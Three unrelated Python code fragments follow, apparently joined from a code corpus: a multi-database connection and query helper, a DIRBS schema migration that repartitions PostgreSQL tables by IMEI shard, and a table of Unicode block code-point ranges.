password = creds.get('password', '') if 'password' not in kwargs.keys() else kwargs['password']
host = creds.get('host', '') if 'host' not in kwargs.keys() else kwargs['host']
port = creds.get('port', '') if 'port' not in kwargs.keys() else kwargs['port']
database = creds.get('database', '') if 'database' not in kwargs.keys() else kwargs['database']
conn = None
if str(db).lower() == 'mysql':
port = port if port != '' else '3306' # Defaults to 3306 is not provided
if not kwargs.get('method', None) or kwargs['method'] == 'sqlalchemy':
conn = sqla.create_engine('mysql+pymysql://{}:{}@{}:{}/{}'.format(user, password, host, port, database))
elif kwargs['method'] == 'pymysql':
conn = pymysql.connect(host=host, port=int(port), user=user, password=password, db=database)
elif kwargs['method'] == 'v8':
conn = sqla.create_engine('mysql+mysqlconnector://{}:{}@{}:{}/{}'.format(user, password, host, port, database))
else:
msg = 'INVALID method in kwargs for db = mysql'
log.info(msg)
sys.exit(1)
elif str(db).lower() == 'mssql':
if not kwargs.get('method', None) or kwargs['method'] == 'pyodbc': # TODO: Not Working. fix this
log.info('Unsupported method. Exiting.')
sys.exit(1)
dsn = 'DRIVER=FreeTDS;TDS_VERSION=8.0;SERVER={};PORT={};DATABASE={};UID={};PWD={}'.format(host, port,
database, user,
password)
conn = pyodbc.connect(dsn)
elif kwargs['method'] == 'pymssql':
# log.info('Connecting via pymssql.') # Test Only
conn = pymssql.connect(server=host, user=user, password=password, database=database)
elif str(db).lower() in ['postgres', 'redshift']:
conn = sqla.create_engine("postgresql+psycopg2://{}:{}@{}:{}/{}".format(user, password,
host, port,
database))
elif str(db).lower() in ['bigquery']:
# If it fails try setting the credentials as: export GOOGLE_APPLICATION_CREDENTIALS="path to json"
try:
conn = bigquery.Client.from_service_account_json(creds['private_key'])
except:
credentials = service_account.Credentials.from_service_account_file(creds['private_key'])
conn = bigquery.Client(credentials=credentials)
return conn
# else:
# return psycopg2.connect(host=host, port=port, user=user, password=password, database=database)
elif 'oracle' in str(db).lower():
database = creds.get('servicename', '') if 'database' not in kwargs.keys() else kwargs['database']
dsn = cx_Oracle.makedsn(host, port, service_name=database)
return sqla.create_engine('oracle+cx_oracle://{}:{}@{}'.format(user, password, dsn)).raw_connection()
else:
log.info('Invalid dbtype selected. Aborting.')
sys.exit(1)
if conn:
if raw:
return conn.raw_connection()
else:
return conn
@func_logger(ignore_kwargs=['query'], ignore_args=[2])
def get_query_results(log, config, query, out_format='df', display_sample=False, **kwargs):
"""
Wrapper to get results from a DB via provided connection and query
:param log: logger object
:param config: config module
:param query: SQL query for obtaining results
:param out_format: Acceptable values: df, list
:param display_sample: Boolean flag to display a sample of output
:param kwargs: dynamic capture of keyword-args
:param dbtype: dbtype for config
:param project: src/project for config
:return: query results as per out_format, column_names
"""
_data = None
_columns = None
log.info(f"Executing SQL: {query}")
if out_format == 'list':
formatted_results = []
creds = config.dwh_creds[kwargs['dbtype']][kwargs['project']]
if 'database' in kwargs.keys() and kwargs['database'] is not None:
creds['database'] = kwargs['database']
if kwargs['dbtype'] in ['mysql', 'redshift', 'postgres', 'mssql', 'oracle']:
switcher = {'mysql': {'raw': False, 'method': 'pymysql'},
'redshift': {'raw': True, 'method': None},
'postgres': {'raw': True, 'method': None},
'mssql': {'raw': False, 'method': 'pymssql'},
'oracle': {'raw': True, 'method': None},
}
try:
conn = connect_to_database(log, creds=creds, db=kwargs['dbtype'], raw=switcher[kwargs['dbtype']]['raw'],
method=switcher[kwargs['dbtype']]['method'])
with conn.cursor() as cursor:
cursor.execute(query)
results = cursor.fetchall()
_columns = [i[0] for i in cursor.description]
except Exception as e1:
log.info(f"Error Logged: {e1}. Sleeping and retrying.")
time.sleep(60)
conn = connect_to_database(log, creds=creds, db='mysql', raw=False, method='pymysql')
with conn.cursor() as cursor:
cursor.execute(query)
results = cursor.fetchall()
_columns = [i[0] for i in cursor.description]
for row in results:
_temp_row = []
for _val in row:
val = None
if type(_val) in [datetime.datetime, str, datetime.date, datetime.time, datetime.timedelta, Enum]:
if str(_val) == '0000-00-00 00:00:00':
val = '0001-01-01 00:00:00'
elif str(_val) == '0000-00-00':
val = '0001-01-01'
else:
val = str(_val)
elif type(_val) in [Decimal, float]:
val = float(_val)
elif type(_val) in [int]:
val = int(_val)
else:
val = _val
_temp_row.append(val)
formatted_results.append(_temp_row)
# elif kwargs['dbtype'] in ['redshift']: # old
# conn = connect_to_database(log, creds=creds, db='redshift', raw=True)
# _df = pd.read_sql(query, con=conn, coerce_float=False)
# formatted_results = json.loads(_df.to_json(orient='records'))
else:
log.info("INVALID kwargs['dbtype']")
sys.exit(1)
_data = formatted_results
elif out_format == 'df':
creds = config.dwh_creds[kwargs['dbtype']][kwargs['project']] if 'creds' not in kwargs else kwargs['creds']
if kwargs['dbtype'] in ['mssql']:
conn = connect_to_database(log, creds=creds, db=kwargs['dbtype'], raw=False, method='pymssql')
else:
conn = connect_to_database(log, creds=creds, db=kwargs['dbtype'], raw=True)
if kwargs['dbtype'] in ['mysql', 'oracle']:
formatted_results = pd.read_sql(query, con=conn, coerce_float=False)
elif kwargs['dbtype'] in ['bigquery']:
formatted_results = pd.read_gbq(query, project_id=creds['project'],
private_key=creds['private_key'], dialect='standard',
configuration=config.bq_config
)
elif kwargs['dbtype'] in ['redshift', 'postgres', 'mssql']:
formatted_results = pd.read_sql(query, con=conn, coerce_float=False)
else:
log.info("INVALID kwargs['dbtype']")
sys.exit(1)
_data = formatted_results
_columns = _data.columns
# chunksize = 500_000
# if out_format == 'df':
# log.info(f"Executing SQL: {query}")
# if 'chunked' not in kwargs.keys() or not kwargs['chunked']:
# if 'db' in kwargs.keys() and kwargs['db']:
# if kwargs['db'] == 'bigquery':
# data = pd.read_gbq(query, project_id=kwargs['creds']['project'],
# private_key=kwargs['creds']['private_key'], dialect='standard',
# configuration=kwargs['config'].bq_config)
# else:
# data = pd.read_sql(query, con=conn, coerce_float=False)
# else:
# data = pd.read_sql(query, con=conn, coerce_float=False)
# else:
# if 'db' in kwargs.keys() and kwargs['db'] in ['mysql']:
# data = []
# _temp_df = pd.read_sql(f"select count(*) as count from ({query.replace(';', '')}) t1;", con=conn)
# row_count = int(_temp_df['count'][0])
# if row_count <= chunksize:
# data = pd.read_sql(query, con=conn, coerce_float=False)
# else:
# total_chunks = int(row_count / chunksize) + 1
# for i in range(total_chunks):
# log.info(f'Processing chunk {i}/{total_chunks}')
# _query = query.replace(';', '') + f" LIMIT {i * chunksize}, {chunksize} ;"
# _data = pd.read_sql(_query, con=conn, coerce_float=False)
# data.append(_data)
# else:
# # Inefficient chunking
# if 'db' in kwargs.keys() and kwargs['db']:
# if kwargs['db'] == 'bigquery':
# data = pd.read_gbq(query, project_id=kwargs['creds']['project'],
# private_key=kwargs['creds']['private_key'], dialect='standard',
# configuration=kwargs['config'].bq_config)
# else:
# data = pd.read_sql(query, con=conn, coerce_float=False, chunksize=chunksize)
# else:
# data = pd.read_sql(query, con=conn, coerce_float=False, chunksize=chunksize)
#
# try:
# conn.close()
# except:
# pass
# elif out_format == 'list':
# if dbtype_src == 'mysql':
# connection = pymysql.connect(host=creds['host'], user=creds['user'], password=creds['password'],
# db=creds['database'])
# with connection.cursor() as cursor:
# cursor.execute(query)
# result = cursor.fetchall()
# field_names = [i[0] for i in cursor.description]
else:
log.info('INVALID out_format')
sys.exit(1)
if display_sample:
if isinstance(_data, pd.DataFrame):
log.info('Columns: {}'.format(list(_data.columns.values)))
log.info('Shape: {}'.format(_data.shape))
log.info(_data.head(5))
elif isinstance(_data, list):
log.info(_data[:5])
else:
log.info('INVALID type for data')
log.info(_data)
sys.exit(1)
return _data, _columns
@func_logger(ignore_kwargs=['sql_query'], ignore_args=[2])
def execute_sql(log, config, sql_query, db, **kwargs):
"""
Wrapper to get results from a DB via provided connection and query
:param log: logger object
:param sql_query: SQL query for obtaining results
:param db: DB Type
:param kwargs: dynamic capture of keyword-args
:param db: database type
:param creds: Credentials Dict
:param conn: connection object
:param project: projectname
:param split_param: use a different splitter char/set of char - to get around semicolon
:return: query results as per out_format
"""
if db == 'bigquery':
creds = kwargs['creds'] if 'creds' in kwargs.keys() else {}
split_param = kwargs['split_param'] if 'split_param' in kwargs.keys() else ';'
queries = list(filter(None, [_q.strip() for _q in sql_query.split(split_param)]))
if 'CREATE TEMP FUNCTION' in sql_query:
queries = [sql_query]
total_processed_bytes = 0.0
for _query in queries:
bq_client = connect_to_database(log, creds, db=db, raw=False)
job_config = bigquery.QueryJobConfig()
job_config.dry_run = False
job_config.use_query_cache = True
job_config.use_legacy_sql = False
log.info("Executing SQL: {}".format(_query.strip()))
query_job = bq_client.query(query=_query.strip(), job_config=job_config)
query_job.result()
total_processed_bytes += query_job.total_bytes_processed
log.info("This query processed {} GBs.".format(query_job.total_bytes_processed / (1024.0 ** 3)))
log.info(f'Processed {query_job.num_dml_affected_rows} records.')
log.info(f'Whole Query Processed: {total_processed_bytes/(1024.0 ** 3)} GBs')
elif db == 'redshift':
sql_secured_ = re.sub('\nCREDENTIALS.*?DELIMITER', '\nCREDENTIALS *HIDDEN* \nDELIMITER', str(sql_query),
flags=re.DOTALL)
sql_secured = re.sub('\nCREDENTIALS.*?json', '\nCREDENTIALS *HIDDEN* \njson', str(sql_secured_),
flags=re.DOTALL)
log.info('Executing SQL: {}'.format(sql_secured))
conn = connect_to_database(log, creds=config.dwh_creds[db]['bi'], db=db, raw=True)
cur = conn.cursor()
if sql_secured.lower().startswith('vacuum'):
try:
cur.execute(sql_query)
except Exception as e1:
log.info("Error Logged: {}".format(e1))
else:
cur.execute(sql_query)
conn.commit()
log.info('Finished Executing SQL. Processed {} records.'.format(cur.rowcount))
elif db == 'mysql':
sql_secured = sql_query
log.info('Executing | |
"""
DIRBS DB schema migration script (v76 -> v77).
SPDX-License-Identifier: BSD-4-Clause-Clear
Copyright (c) 2018-2019 Qualcomm Technologies, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted (subject to the
limitations in the disclaimer below) provided that the following conditions are met:
- Redistributions of source code must retain the above copyright notice, this list of conditions and the following
disclaimer.
- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
following disclaimer in the documentation and/or other materials provided with the distribution.
- All advertising materials mentioning features or use of this software, or any deployment of this software,
or documentation accompanying any distribution of this software, must display the trademark/logo as per the
details provided here: https://www.qualcomm.com/documents/dirbs-logo-and-brand-guidelines
- Neither the name of Qualcomm Technologies, Inc. nor the names of its contributors may be used to endorse or
promote products derived from this software without specific prior written permission.
SPDX-License-Identifier: ZLIB-ACKNOWLEDGEMENT
Copyright (c) 2018-2019 Qualcomm Technologies, Inc.
This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable
for any damages arising from the use of this software. Permission is granted to anyone to use this software for any
purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following
restrictions:
- The origin of this software must not be misrepresented; you must not claim that you wrote the original software.
If you use this software in a product, an acknowledgment is required by displaying the trademark/logo as per the
details provided here: https://www.qualcomm.com/documents/dirbs-logo-and-brand-guidelines
- Altered source versions must be plainly marked as such, and must not be misrepresented as being the original
software.
- This notice may not be removed or altered from any source distribution.
NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY THIS LICENSE. THIS SOFTWARE IS PROVIDED BY
THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
"""
import logging
from psycopg2 import sql
import dirbs.schema_migrators
import dirbs.utils as utils
import dirbs.partition_utils as part_utils
class RepartitionTablesMigrator(dirbs.schema_migrators.AbstractMigrator):
"""Class use to upgrade to V77 of the schema.
Implemented in Python simply for notification of progress, since this can't easily be done using pure SQL.
"""
def partition_registration_list(self, conn, *, num_physical_shards):
"""Method to repartition registration_list for v47 upgrade."""
with conn.cursor() as cursor, utils.db_role_setter(conn, role_name='dirbs_core_power_user'):
# Create parent partition
cursor.execute(
"""CREATE TABLE historic_registration_list_new (
LIKE historic_registration_list INCLUDING DEFAULTS
INCLUDING IDENTITY
INCLUDING CONSTRAINTS
INCLUDING STORAGE
INCLUDING COMMENTS
)
PARTITION BY RANGE (virt_imei_shard)
"""
)
part_utils._grant_perms_registration_list(conn, part_name='historic_registration_list_new')
# Create child partitions
part_utils.create_imei_shard_partitions(conn, tbl_name='historic_registration_list_new',
num_physical_shards=num_physical_shards,
perms_func=part_utils._grant_perms_registration_list,
fillfactor=80)
# Insert data from original partition
cursor.execute("""INSERT INTO historic_registration_list_new
SELECT *
FROM historic_registration_list""")
# Add in indexes to each partition
idx_metadata = [part_utils.IndexMetadatum(idx_cols=['imei_norm'],
is_unique=True,
partial_sql='WHERE end_date IS NULL')]
part_utils.add_indices(conn, tbl_name='historic_registration_list_new', idx_metadata=idx_metadata)
# Drop old view + table, rename tables, indexes and constraints
cursor.execute('DROP VIEW registration_list')
cursor.execute('DROP TABLE historic_registration_list CASCADE')
part_utils.rename_table_and_indices(conn, old_tbl_name='historic_registration_list_new',
new_tbl_name='historic_registration_list', idx_metadata=idx_metadata)
cursor.execute("""CREATE OR REPLACE VIEW registration_list AS
SELECT imei_norm, make, model, status, virt_imei_shard
FROM historic_registration_list
WHERE end_date IS NULL WITH CHECK OPTION""")
cursor.execute("""GRANT SELECT ON registration_list
TO dirbs_core_classify, dirbs_core_api, dirbs_core_import_registration_list""")
def upgrade(self, db_conn): # noqa: C901
"""Overrides AbstractMigrator upgrade method."""
logger = logging.getLogger('dirbs.db')
with db_conn.cursor() as cursor:
cursor.execute("""CREATE FUNCTION calc_virt_imei_shard(imei TEXT) RETURNS SMALLINT
LANGUAGE plpgsql IMMUTABLE PARALLEL SAFE
AS $$
BEGIN
RETURN SUBSTRING(COALESCE(imei, ''), 13, 2)::SMALLINT;
EXCEPTION WHEN OTHERS THEN
RETURN 0;
END;
$$""")
# By default, create 4 shards
num_initial_shards = 4
logger.info('Re-partitioning classification_state table...')
cursor.execute('ALTER TABLE classification_state ADD COLUMN virt_imei_shard SMALLINT')
cursor.execute('UPDATE classification_state SET virt_imei_shard = calc_virt_imei_shard(imei_norm)')
cursor.execute('ALTER TABLE classification_state ALTER COLUMN virt_imei_shard SET NOT NULL')
part_utils.repartition_classification_state(db_conn, num_physical_shards=num_initial_shards)
logger.info('Re-partitioned classification_state table')
logger.info('Re-partitioning registration_list table...')
cursor.execute('ALTER TABLE historic_registration_list ADD COLUMN virt_imei_shard SMALLINT')
cursor.execute('UPDATE historic_registration_list SET virt_imei_shard = calc_virt_imei_shard(imei_norm)')
cursor.execute('ALTER TABLE historic_registration_list ALTER COLUMN virt_imei_shard SET NOT NULL')
self.partition_registration_list(db_conn, num_physical_shards=num_initial_shards)
logger.info('Re-partitioned registration_list table')
logger.info('Re-partitioning pairing_list table...')
cursor.execute('ALTER TABLE historic_pairing_list ADD COLUMN virt_imei_shard SMALLINT')
cursor.execute('UPDATE historic_pairing_list SET virt_imei_shard = calc_virt_imei_shard(imei_norm)')
cursor.execute('ALTER TABLE historic_pairing_list ALTER COLUMN virt_imei_shard SET NOT NULL')
part_utils.repartition_pairing_list(db_conn, num_physical_shards=num_initial_shards)
logger.info('Re-partitioned pairing_list table')
logger.info('Re-partitioning blacklist table...')
cursor.execute('ALTER TABLE blacklist ADD COLUMN virt_imei_shard SMALLINT')
cursor.execute('UPDATE blacklist SET virt_imei_shard = calc_virt_imei_shard(imei_norm)')
cursor.execute('ALTER TABLE blacklist ALTER COLUMN virt_imei_shard SET NOT NULL')
part_utils.repartition_blacklist(db_conn, num_physical_shards=num_initial_shards)
logger.info('Re-partitioned blacklist table')
# Need to make sure owner of list tables is dirbs_core_listgen
logger.info('Re-partitioning notifications_lists table...')
# The original notifications_lists were not created with a single sequence for the IDs, so just do now
with utils.db_role_setter(db_conn, role_name='dirbs_core_listgen'):
cursor.execute(
"""CREATE UNLOGGED TABLE notifications_lists_new (
row_id BIGSERIAL NOT NULL,
operator_id TEXT NOT NULL,
imei_norm TEXT NOT NULL,
imsi TEXT NOT NULL,
msisdn TEXT NOT NULL,
block_date DATE NOT NULL,
reasons TEXT[] NOT NULL,
amnesty_granted BOOLEAN DEFAULT FALSE NOT NULL,
start_run_id BIGINT NOT NULL,
end_run_id BIGINT,
delta_reason TEXT NOT NULL CHECK (delta_reason IN ('new', 'resolved', 'blacklisted',
'no_longer_seen', 'changed')),
virt_imei_shard SMALLINT NOT NULL
) PARTITION BY LIST (operator_id)
"""
)
# Work out who the operators are
partitions = utils.child_table_names(db_conn, 'notifications_lists')
# Make sure that they are owned by dirbs_core_listgen (they can be owner by dirbs_core_power_user)
# due to bad previous migration scripts
with utils.db_role_setter(db_conn, role_name='dirbs_core_power_user'):
for p in partitions:
cursor.execute(sql.SQL('ALTER TABLE {0} OWNER TO dirbs_core_listgen').format(sql.Identifier(p)))
operators = [x.operator_id for x in utils.table_invariants_list(db_conn, partitions, ['operator_id'])]
# Create operator child partitions
for op_id in operators:
tbl_name = part_utils.per_mno_lists_partition(operator_id=op_id, suffix='_new',
list_type='notifications')
part_utils.create_per_mno_lists_partition(db_conn, operator_id=op_id,
parent_tbl_name='notifications_lists_new',
tbl_name=tbl_name,
num_physical_shards=1,
unlogged=True,
fillfactor=100)
cursor.execute(
"""INSERT INTO notifications_lists_new(operator_id, imei_norm, imsi, msisdn, block_date,
reasons, start_run_id, end_run_id, delta_reason,
virt_imei_shard)
SELECT operator_id, imei_norm, imsi, msisdn, block_date,
reasons, start_run_id, end_run_id, delta_reason, calc_virt_imei_shard(imei_norm)
FROM notifications_lists
"""
)
# Drop old table, rename tables, indexes and constraints
cursor.execute("""ALTER TABLE notifications_lists_new
RENAME CONSTRAINT notifications_lists_new_delta_reason_check
TO notifications_lists_delta_reason_check""")
cursor.execute('DROP TABLE notifications_lists CASCADE')
cursor.execute("""ALTER SEQUENCE notifications_lists_new_row_id_seq
RENAME TO notifications_lists_row_id_seq""")
part_utils.rename_table_and_indices(db_conn, old_tbl_name='notifications_lists_new',
new_tbl_name='notifications_lists')
part_utils.repartition_notifications_lists(db_conn, num_physical_shards=num_initial_shards)
logger.info('Re-partitioned notifications_lists table')
logger.info('Re-partitioning exceptions_lists table...')
# The original exceptions_lists were not created with a single sequence for the IDs, so just do now
with utils.db_role_setter(db_conn, role_name='dirbs_core_listgen'):
cursor.execute(
"""CREATE UNLOGGED TABLE exceptions_lists_new (
row_id BIGSERIAL NOT NULL,
operator_id TEXT NOT NULL,
imei_norm TEXT NOT NULL,
imsi TEXT NOT NULL,
start_run_id BIGINT NOT NULL,
end_run_id BIGINT,
delta_reason TEXT NOT NULL CHECK (delta_reason IN ('added', 'removed')),
virt_imei_shard SMALLINT NOT NULL
) PARTITION BY LIST (operator_id)
"""
)
# Work out who the operators are
partitions = utils.child_table_names(db_conn, 'exceptions_lists')
# Make sure that they are owned by dirbs_core_listgen (they can be owner by dirbs_core_power_user)
# due to bad previous migration scripts
with utils.db_role_setter(db_conn, role_name='dirbs_core_power_user'):
for p in partitions:
cursor.execute(sql.SQL('ALTER TABLE {0} OWNER TO dirbs_core_listgen').format(sql.Identifier(p)))
operators = [x.operator_id for x in utils.table_invariants_list(db_conn, partitions, ['operator_id'])]
# Create operator child partitions
for op_id in operators:
tbl_name = part_utils.per_mno_lists_partition(operator_id=op_id, suffix='_new', list_type='exceptions')
part_utils.create_per_mno_lists_partition(db_conn, operator_id=op_id,
parent_tbl_name='exceptions_lists_new',
tbl_name=tbl_name,
num_physical_shards=1,
unlogged=True,
fillfactor=100)
cursor.execute(
"""INSERT INTO exceptions_lists_new(operator_id, imei_norm, imsi, start_run_id,
end_run_id, delta_reason, virt_imei_shard)
SELECT operator_id, imei_norm, imsi, start_run_id, end_run_id, delta_reason,
calc_virt_imei_shard(imei_norm)
FROM exceptions_lists
"""
)
# Drop old table, rename tables, indexes and constraints
cursor.execute("""ALTER TABLE exceptions_lists_new
RENAME CONSTRAINT exceptions_lists_new_delta_reason_check
TO exceptions_lists_delta_reason_check""")
cursor.execute('DROP TABLE exceptions_lists CASCADE')
cursor.execute('ALTER SEQUENCE exceptions_lists_new_row_id_seq RENAME TO exceptions_lists_row_id_seq')
part_utils.rename_table_and_indices(db_conn, old_tbl_name='exceptions_lists_new',
new_tbl_name='exceptions_lists')
part_utils.repartition_exceptions_lists(db_conn, num_physical_shards=num_initial_shards)
logger.info('Re-partitioned exceptions_lists table')
logger.info('Re-partitioning seen_imeis (network_imeis) table')
# First, just put everything in a temporary table so that we can call partutils
with utils.db_role_setter(db_conn, role_name='dirbs_core_import_operator'):
cursor.execute(
"""CREATE UNLOGGED TABLE network_imeis (
first_seen DATE NOT NULL,
last_seen DATE NOT NULL,
seen_rat_bitmask INTEGER,
imei_norm TEXT NOT NULL,
virt_imei_shard SMALLINT NOT NULL
)
"""
)
#
# We disable index scans here as doing a merge append with index scans | |
<reponame>drastus/unicover
blocks = [
['0000', '007F', 'Basic Latin', [range(32, 127)]],
['0080', '00FF', 'Latin-1 Supplement', [range(160, 173), range(174, 256)]],
['0100', '017F', 'Latin Extended-A', [range(256, 384)]],
['0180', '024F', 'Latin Extended-B', [range(384, 592)]],
['0250', '02AF', 'IPA Extensions', [range(592, 688)]],
['02B0', '02FF', 'Spacing Modifier Letters', [range(688, 768)]],
['0300', '036F', 'Combining Diacritical Marks', [range(768, 880)]],
['0370', '03FF', 'Greek and Coptic', [range(880, 888), range(890, 896), range(900, 907), range(908, 909), range(910, 930), range(931, 1024)]],
['0400', '04FF', 'Cyrillic', [range(1024, 1280)]],
['0500', '052F', 'Cyrillic Supplement', [range(1280, 1328)]],
['0530', '058F', 'Armenian', [range(1329, 1367), range(1369, 1419), range(1421, 1424)]],
['0590', '05FF', 'Hebrew', [range(1425, 1480), range(1488, 1515), range(1519, 1525)]],
['0600', '06FF', 'Arabic', [range(1542, 1564), range(1566, 1757), range(1758, 1792)]],
['0700', '074F', 'Syriac', [range(1792, 1806), range(1808, 1867), range(1869, 1872)]],
['0750', '077F', 'Arabic Supplement', [range(1872, 1920)]],
['0780', '07BF', 'Thaana', [range(1920, 1970)]],
['07C0', '07FF', 'NKo', [range(1984, 2043), range(2045, 2048)]],
['0800', '083F', 'Samaritan', [range(2048, 2094), range(2096, 2111)]],
['0840', '085F', 'Mandaic', [range(2112, 2140), range(2142, 2143)]],
['0860', '086F', 'Syriac Supplement', [range(2144, 2155)]],
['08A0', '08FF', 'Arabic Extended-A', [range(2208, 2229), range(2230, 2238), range(2259, 2274), range(2275, 2304)]],
['0900', '097F', 'Devanagari', [range(2304, 2432)]],
['0980', '09FF', 'Bengali', [range(2432, 2436), range(2437, 2445), range(2447, 2449), range(2451, 2473), range(2474, 2481), range(2482, 2483), range(2486, 2490), range(2492, 2501), range(2503, 2505), range(2507, 2511), range(2519, 2520), range(2524, 2526), range(2527, 2532), range(2534, 2559)]],
['0A00', '0A7F', 'Gurmukhi', [range(2561, 2564), range(2565, 2571), range(2575, 2577), range(2579, 2601), range(2602, 2609), range(2610, 2612), range(2613, 2615), range(2616, 2618), range(2620, 2621), range(2622, 2627), range(2631, 2633), range(2635, 2638), range(2641, 2642), range(2649, 2653), range(2654, 2655), range(2662, 2679)]],
['0A80', '0AFF', 'Gujarati', [range(2689, 2692), range(2693, 2702), range(2703, 2706), range(2707, 2729), range(2730, 2737), range(2738, 2740), range(2741, 2746), range(2748, 2758), range(2759, 2762), range(2763, 2766), range(2768, 2769), range(2784, 2788), range(2790, 2802), range(2809, 2816)]],
['0B00', '0B7F', 'Oriya', [range(2817, 2820), range(2821, 2829), range(2831, 2833), range(2835, 2857), range(2858, 2865), range(2866, 2868), range(2869, 2874), range(2876, 2885), range(2887, 2889), range(2891, 2894), range(2902, 2904), range(2908, 2910), range(2911, 2916), range(2918, 2936)]],
['0B80', '0BFF', 'Tamil', [range(2946, 2948), range(2949, 2955), range(2958, 2961), range(2962, 2966), range(2969, 2971), range(2972, 2973), range(2974, 2976), range(2979, 2981), range(2984, 2987), range(2990, 3002), range(3006, 3011), range(3014, 3017), range(3018, 3022), range(3024, 3025), range(3031, 3032), range(3046, 3067)]],
['0C00', '0C7F', 'Telugu', [range(3072, 3085), range(3086, 3089), range(3090, 3113), range(3114, 3130), range(3133, 3141), range(3142, 3145), range(3146, 3150), range(3157, 3159), range(3160, 3163), range(3168, 3172), range(3174, 3184), range(3192, 3200)]],
['0C80', '0CFF', 'Kannada', [range(3200, 3213), range(3214, 3217), range(3218, 3241), range(3242, 3252), range(3253, 3258), range(3260, 3269), range(3270, 3273), range(3274, 3278), range(3285, 3287), range(3294, 3295), range(3296, 3300), range(3302, 3312), range(3313, 3315)]],
['0D00', '0D7F', 'Malayalam', [range(3328, 3332), range(3333, 3341), range(3342, 3345), range(3346, 3397), range(3398, 3401), range(3402, 3408), range(3412, 3428), range(3430, 3456)]],
['0D80', '0DFF', 'Sinhala', [range(3458, 3460), range(3461, 3479), range(3482, 3506), range(3507, 3516), range(3517, 3518), range(3520, 3527), range(3530, 3531), range(3535, 3541), range(3542, 3543), range(3544, 3552), range(3558, 3568), range(3570, 3573)]],
['0E00', '0E7F', 'Thai', [range(3585, 3643), range(3647, 3676)]],
['0E80', '0EFF', 'Lao', [range(3713, 3715), range(3716, 3717), range(3719, 3721), range(3722, 3723), range(3725, 3726), range(3732, 3736), range(3737, 3744), range(3745, 3748), range(3749, 3750), range(3751, 3752), range(3754, 3756), range(3757, 3770), range(3771, 3774), range(3776, 3781), range(3782, 3783), range(3784, 3790), range(3792, 3802), range(3804, 3808)]],
['0F00', '0FFF', 'Tibetan', [range(3840, 3912), range(3913, 3949), range(3953, 3992), range(3993, 4029), range(4030, 4045), range(4046, 4059)]],
['1000', '109F', 'Myanmar', [range(4096, 4256)]],
['10A0', '10FF', 'Georgian', [range(4256, 4294), range(4295, 4296), range(4301, 4302), range(4304, 4352)]],
['1100', '11FF', '<NAME>', [range(4352, 4608)]],
['1200', '137F', 'Ethiopic', [range(4608, 4681), range(4682, 4686), range(4688, 4695), range(4696, 4697), range(4698, 4702), range(4704, 4745), range(4746, 4750), range(4752, 4785), range(4786, 4790), range(4792, 4799), range(4800, 4801), range(4802, 4806), range(4808, 4823), range(4824, 4881), range(4882, 4886), range(4888, 4955), range(4957, 4989)]],
['1380', '139F', 'Ethiopic Supplement', [range(4992, 5018)]],
['13A0', '13FF', 'Cherokee', [range(5024, 5110), range(5112, 5118)]],
['1400', '167F', 'Unified Canadian Aboriginal Syllabics', [range(5120, 5760)]],
['1680', '169F', 'Ogham', [range(5760, 5789)]],
['16A0', '16FF', 'Runic', [range(5792, 5881)]],
['1700', '171F', 'Tagalog', [range(5888, 5901), range(5902, 5909)]],
['1720', '173F', 'Hanunoo', [range(5920, 5943)]],
['1740', '175F', 'Buhid', [range(5952, 5972)]],
['1760', '177F', 'Tagbanwa', [range(5984, 5997), range(5998, 6001), range(6002, 6004)]],
['1780', '17FF', 'Khmer', [range(6016, 6110), range(6112, 6122), range(6128, 6138)]],
['1800', '18AF', 'Mongolian', [range(6144, 6158), range(6160, 6170), range(6176, 6265), range(6272, 6315)]],
['18B0', '18FF', 'Unified Canadian Aboriginal Syllabics Extended', [range(6320, 6390)]],
['1900', '194F', 'Limbu', [range(6400, 6431), range(6432, 6444), range(6448, 6460), range(6464, 6465), range(6468, 6480)]],
['1950', '197F', '<NAME>', [range(6480, 6510), range(6512, 6517)]],
['1980', '19DF', 'New Tai Lue', [range(6528, 6572), range(6576, 6602), range(6608, 6619), range(6622, 6624)]],
['19E0', '19FF', 'Khmer Symbols', [range(6624, 6656)]],
['1A00', '1A1F', 'Buginese', [range(6656, 6684), range(6686, 6688)]],
['1A20', '1AAF', 'Tai Tham', [range(6688, 6751), range(6752, 6781), range(6783, 6794), range(6800, 6810), range(6816, 6830)]],
['1AB0', '1AFF', 'Combining Diacritical Marks Extended', [range(6832, 6847)]],
['1B00', '1B7F', 'Balinese', [range(6912, 6988), range(6992, 7037)]],
['1B80', '1BBF', 'Sundanese', [range(7040, 7104)]],
['1BC0', '1BFF', 'Batak', [range(7104, 7156), range(7164, 7168)]],
['1C00', '1C4F', 'Lepcha', [range(7168, 7224), range(7227, 7242), range(7245, 7248)]],
['1C50', '1C7F', 'Ol Chiki', [range(7248, 7296)]],
['1C80', '1C8F', 'Cyrillic Extended-C', [range(7296, 7305)]],
['1C90', '1CBF', 'Georgian Extended', [range(7312, 7355), range(7357, 7360)]],
['1CC0', '1CCF', 'Sundanese Supplement', [range(7360, 7368)]],
['1CD0', '1CFF', 'Vedic Extensions', [range(7376, 7418)]],
['1D00', '1D7F', 'Phonetic Extensions', [range(7424, 7552)]],
['1D80', '1DBF', 'Phonetic Extensions Supplement', [range(7552, 7616)]],
['1DC0', '1DFF', 'Combining Diacritical Marks Supplement', [range(7616, 7674), range(7675, 7680)]],
['1E00', '1EFF', 'Latin Extended Additional', [range(7680, 7936)]],
